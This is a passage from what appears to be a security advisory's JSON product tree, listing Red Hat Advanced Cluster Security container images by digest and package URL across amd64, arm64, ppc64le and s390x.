"purl": "pkg:oci/rhacs-scanner-slim-rhel8@sha256%3A8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494?arch=amd64\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8\u0026tag=1778781018"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-v4-rhel8@sha256%3A0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36?arch=amd64\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8\u0026tag=1779371594"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-v4-db-rhel8@sha256%3A7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495?arch=amd64\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8\u0026tag=1779371594"
}
}
}
],
"category": "architecture",
"name": "amd64"
},
{
"branches": [
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-central-db-rhel8@sha256%3A553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c?arch=arm64\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8\u0026tag=1779371594"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-collector-rhel8@sha256%3A0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb?arch=arm64\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8\u0026tag=1778780285"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-main-rhel8@sha256%3Aad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d?arch=arm64\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8\u0026tag=1779371594"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-rhel8-operator@sha256%3Aa0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1?arch=arm64\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator\u0026tag=1779371594"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-roxctl-rhel8@sha256%3A73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a?arch=arm64\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8\u0026tag=1779371594"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-rhel8@sha256%3Af71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65?arch=arm64\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8\u0026tag=1778781018"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-db-rhel8@sha256%3A732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8?arch=arm64\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8\u0026tag=1778781018"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-db-slim-rhel8@sha256%3Adc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756?arch=arm64\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8\u0026tag=1778781018"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-slim-rhel8@sha256%3A50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82?arch=arm64\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8\u0026tag=1778781018"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-v4-rhel8@sha256%3A674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9?arch=arm64\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8\u0026tag=1779371594"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-v4-db-rhel8@sha256%3A2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a?arch=arm64\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8\u0026tag=1779371594"
}
}
}
],
"category": "architecture",
"name": "arm64"
},
{
"branches": [
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-central-db-rhel8@sha256%3A6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6?arch=ppc64le\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8\u0026tag=1779371594"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-collector-rhel8@sha256%3A5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca?arch=ppc64le\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8\u0026tag=1778780285"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-main-rhel8@sha256%3A2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98?arch=ppc64le\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8\u0026tag=1779371594"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-rhel8-operator@sha256%3A8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd?arch=ppc64le\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator\u0026tag=1779371594"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-roxctl-rhel8@sha256%3A58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a?arch=ppc64le\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8\u0026tag=1779371594"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-rhel8@sha256%3Ac1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df?arch=ppc64le\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8\u0026tag=1778781018"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-db-rhel8@sha256%3Ae1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95?arch=ppc64le\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8\u0026tag=1778781018"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-db-slim-rhel8@sha256%3A4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c?arch=ppc64le\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8\u0026tag=1778781018"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-slim-rhel8@sha256%3A7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125?arch=ppc64le\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8\u0026tag=1778781018"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-v4-rhel8@sha256%3Afb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227?arch=ppc64le\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8\u0026tag=1779371594"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-v4-db-rhel8@sha256%3A09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039?arch=ppc64le\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8\u0026tag=1779371594"
}
}
}
],
"category": "architecture",
"name": "ppc64le"
},
{
"branches": [
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-central-db-rhel8@sha256%3Ababe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012?arch=s390x\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8\u0026tag=1779371594"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-collector-rhel8@sha256%3A24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1?arch=s390x\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8\u0026tag=1778780285"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-main-rhel8@sha256%3Ade5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47?arch=s390x\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8\u0026tag=1779371594"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-rhel8-operator@sha256%3Ac1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734?arch=s390x\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator\u0026tag=1779371594"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-roxctl-rhel8@sha256%3Aec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99?arch=s390x\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8\u0026tag=1779371594"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-rhel8@sha256%3Aa493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6?arch=s390x\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8\u0026tag=1778781018"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-db-rhel8@sha256%3A5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449?arch=s390x\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8\u0026tag=1778781018"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-db-slim-rhel8@sha256%3Aa252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c?arch=s390x\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8\u0026tag=1778781018"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"product": {
"name": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"product_id": "registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"product_identification_helper": {
"purl": "pkg:oci/rhacs-scanner-slim-rhel8@sha256%3Ae9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd?arch=s390x\u0026repository_url=registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8\u0026tag=1778781018"
}
}
},
{
"category": "product_version",
